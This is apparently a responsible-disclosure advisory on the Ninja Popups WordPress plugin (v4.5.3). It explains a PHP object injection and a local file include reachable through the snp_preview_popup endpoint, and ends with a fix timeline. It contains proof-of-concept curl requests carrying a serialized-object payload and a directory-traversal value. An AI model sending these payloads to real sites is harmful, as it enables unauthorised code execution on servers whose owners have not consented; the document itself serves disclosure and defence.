Ninja Popups (v4.5.3) has an ajax endpoint snp_preview_popup, which, after setting up the $PREVIEW_POPUP_META variable, calls the snp_run_camp function, which in turn calls the snp_run_popup.

The snp_run_popup uses the global $PREVIEW_POPUP_META variable to set up its internal $POPUP_META variable:

function snp_run_popup($ID, $type, $is_preview = false)  
{

    global $snp_popups, $PREVIEW_POPUP_META, $detect;

    if (!$ID && $ID != -1) {
        return;
    }

    snp_init();

    if ($ID == -1) {

        $POPUP_META = $PREVIEW_POPUP_META;
        foreach ($POPUP_META as $k => $v) {
            if (is_array($v)) {
                $v = serialize($v);
            } else {
                $v = stripslashes($v);
            }

            $POPUP_META[$k] = $v;
            $PREVIEW_POPUP_META[$k] = $v;
        }

PHP Object Injection

On line 2819 of plugins/arscode-ninja-popups/arscode-ninja-popups.php we have:

    if (isset($POPUP_META['snp_theme']) && !is_array($POPUP_META['snp_theme'])) {
        $POPUP_META['snp_theme'] = unserialize($POPUP_META['snp_theme']);
    }

$POPUP_META is $PREVIEW_POPUP_META and $PREVIEW_POPUP_META is built from $_POST in the snp_preview_popup function:

 if (count($_POST)) {
        $PREVIEW_POPUP_META = array();
        if (isset($_POST['snp_bld']) && is_array($_POST['snp_bld'])) {
            snp_stripslashes_array($_POST['snp_bld']);
            $snp_sanitize_builder_data = snp_sanitize_builder_data($_POST['snp_bld']);
            $_POST['snp']['builder'] = $snp_sanitize_builder_data['builder'];
        }

        foreach ((array) $_POST['snp'] as $k => $v) {
            if (strpos($k, 'cf') !== FALSE) {
                $elements = array();
                foreach ($v['fields'] as $k2 => $v2) {
                    if ($v2 != 'RAND') {
                        $elements[] = $v[$v2];
                    }
                }

                $PREVIEW_POPUP_META['snp_' . $k] = $elements;
            } else {
                $PREVIEW_POPUP_META['snp_' . $k] = $v;
            }
        }
        $POST_META['snp_camp_popup'] = -1;
    }

In order to exploit this PHP Object Injection we need to set a value for $POPUP_META['snp_theme']:

PHP Object Injection POC:

 curl -X POST 'http://127.0.0.1/wp-admin/admin-ajax.php'  -H '[AUTH_COOKIES]' --data 'action=snp_preview_popup&popup_ID=1&snp_bld&snp[theme]=O%3A17%3A%22Snp_Mobile_Detect%22%3A0%3A%7B%7D'

In order to exploit this issue, one must find a so called POP Chain, which is pretty tricky. I could not build any interesting POP Chain out of the core WordPress, but this does not mean that there won't be any in the future.

Local File Include aka. LFI

Another interesting part of the same snp_run_popup function is at line 2914 :

if (isset($POPUP_META['snp_theme']['theme']) && $POPUP_META['snp_theme']['theme']) {  
    $THEME_INFO = snp_get_theme($POPUP_META['snp_theme']['theme']);
}

The snp_get_theme does the following:

function snp_get_theme($theme)  
{
    global $SNP_THEMES, $SNP_THEMES_DIR;

    if (!$theme) {
        return false;
    }

    foreach ($SNP_THEMES_DIR as $DIR) {
        if (is_dir($DIR . '/' . $theme . '') && is_file($DIR . '/' . $theme . '/theme.php')) {
            require_once( $DIR . '/' . $theme . '/theme.php' );
            $SNP_THEMES[$theme]['DIR'] = $DIR . '/' . $theme . '/';
            return $SNP_THEMES[$theme];
        }
    }

    return false;
}

It requires a file and part of the file name is set by $theme parameter, which is set by another $_POST variable.

This flaw can be exploited on a shared hosting environment, for example:
An attacker might place a file called theme.php in the /tmp folder, and could use the following request to trigger the file include:

LFI POC

curl -X POST 'http://127.0.0.1/wp-admin/admin-ajax.php'  -H '[AUTH_COOKIES]' --data 'action=snp_preview_popup&popup_ID=1&snp_bld&snp[theme][theme]=../../../../../../../../../../../../../tmp'  

Impact 4/10

The snp_preview_popup Ajax endpoint is an authenticated one, and one would need access to the local file system in order to exploit the LFI. Also the plugin only has only around 30.000 sales.

Timeline

30 - 12 - 2017 - Vulnerability discovered  
30 - 12 - 2017 - Vendor notified  
04 - 01 - 2018 - Vendor fixed the issues in 4 January 2018  
14 - 01 - 2018 - Vulnerability goes public.